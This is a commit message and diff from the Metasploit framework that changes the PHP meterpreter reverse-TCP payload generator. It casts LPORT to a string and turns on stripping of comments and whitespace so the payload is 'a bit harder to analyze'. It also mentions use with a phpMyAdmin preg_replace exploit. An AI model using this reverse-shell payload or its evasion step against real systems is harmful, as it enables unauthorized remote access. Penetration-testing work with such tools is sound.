Make sure LPORT is a string when subbing

* Gets rid of conversion errors like this:
    [-] Exploit failed: can't convert Fixnum into String
* also removes comments from php meterp. Works for me with the
  phpmyadmin_preg_replace bug, so seems legit.

Author: egypt

modules/payloads/singles/php/meterpreter_reverse_tcp.rb

@@ -33,11 +33,12 @@ def generate
 			f.read(f.stat.size)
 		}
 		met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']
-		met.gsub!("4444", datastore['LPORT']) if datastore['LPORT']
-		# XXX When this payload is more stable, remove comments and compress
-		# whitespace to make it smaller and a bit harder to analyze
-		#met.gsub!(/#.*$/, '')
-		#met = Rex::Text.compress(met)
+		met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']
+
+		# remove comments and compress whitespace to make it smaller and a
+		# bit harder to analyze
+		met.gsub!(/#.*$/, '')
+		met = Rex::Text.compress(met)
 		met
 	end
 end